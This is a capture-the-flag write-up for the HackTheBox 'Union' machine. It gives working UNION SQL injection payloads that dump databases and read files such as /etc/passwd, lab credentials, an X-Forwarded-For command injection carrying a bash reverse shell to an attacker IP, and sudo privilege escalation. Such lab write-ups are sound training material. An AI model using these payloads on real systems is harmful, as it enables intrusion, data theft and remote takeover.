> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md). # Union HackTheBox Writeup Union HackTheBox Medium Linux machine writeup covering SQLI (SQL Injection) - UNION Injection, SQLI - Read Files, HTTP Header Command Injection - X-FORWARDED-FOR (RCE), Abusing sudoers privilege (Priv {% embed url="" %} {% hint style="warning" %} **Skills:** * SQLI (SQL Injection) - UNION Injection * SQLI - Read Files * HTTP Header Command Injection - X-FORWARDED-FOR (RCE) * Abusing sudoers privilege (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.
**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.
**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.128 -oG allPorts ```
**Open Port Analysis with extractPorts:** Using the extractPorts function to in a concise format display open ports and copy them into the clipboard (80) ```bash nmap -sCV -p80 10.10.11.128 -oN targeted ```
### Port 80 - HTTP
### List of Files with gobusteron will do a file enumeration with php extensions ```bash gobuster dir -u http://10.10.11.128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,txt ``` There are two files that are not externally accessible: `config.php` and `firewall.php`.
In `index.php`, if we add a name in the form, it appears in the response.
challenge file asks us a flag
## Vulnerability SQLI - UNION Injection We intercept the request with Burp Suite and alter the variable `player`:
```sql jordan' union select database()-- - ``` The name of the database is `november`.
To list all databases: ```sql jordan' union select group_concat(schema_name) from information_schema.schemata-- - ``` Result: `mysql,information_schema,performance_schema,sys, november`
List the tables in `november`: ```sql jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- - ```
List the columns in the `players` table: ```sql jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- - ``` Columns found: `player`
**Extraction of User Data** ```sql jordan' union select group_concat(player,':') from players-- - ``` Players found: `ippsec,celesian,big0us,luska,tinyboy`
Flag extraction: ```sql jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- - ```
```sql jordan' union select group_concat(one,':') from flag-- - ```
* Flag found: `UHC{F1rst_5tep_2_Qualify}` ## **SQLI - Read Files** Read `/etc/passwd`: ```sql jordan' union select load_file('/etc/passwd');-- - ``` We find a `uhc` user.
### Flag user.txt Read `user.txt`: ```sql jordan' union select load_file('/home/uhc/user.txt');-- - ```
Reading `config.php`, we find database credentials: 
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
$dbname = "november"
Reading `firewall.php`, we understand that submitting the flag opens the SSH port: ```sql jordan' union select load_file('/var/www/html/firewall.php');-- - ```
We submit the flag: `UHC{F1rst_5tep_2_Qualify}`.
Port 22 is now open.
### SSH connection We use the identified credentials to log in: ```bash ssh uhc@10.10.11.128 uhc-11qual-global-pw ```
## **Privilege Escalation** ### HTTP Header Command Injection - X-FORWARDED-FOR (RCE) If you look at the `firewall.php` file, you notice that it recovers the `HTTP_X_FORWARDED_FOR` header and uses it with `sudo` to execute a command: ```php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = $_SERVER['REMOTE_ADDR']; }; system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT"); ?> ```
Since this variable can be controlled via an HTTP request, we can inject an arbitrary command. **Exploitation** As this is an HTTP header, we can inject a command, for example using `curl` to contact our web server. **Implementing a web server:** ```bash python3 -m http.server 80 ``` **Injection control with `curl`:** {% code overflow="wrap" %} ```bash curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php' ``` {% endcode %}
**Reverse Shell** **Listen to Port 443:** ```bash nc -nlvp 443 ``` **Order to get a remote shell:** {% code overflow="wrap" %} ```bash curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php' ``` {% endcode %} Once connected, we are the user `www-data`.
#### Terminal Stabilization ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### SUDO - (ALL:ALL) With the following command, we check `sudo` permissions: ```bash sudo -l ```
If we see that `www-data` can execute any command as any user (`(ALL: ALL) ALL`), then we can run a root shell with: ```bash sudo /bin/bash -p ```
### Flag root.txt :)
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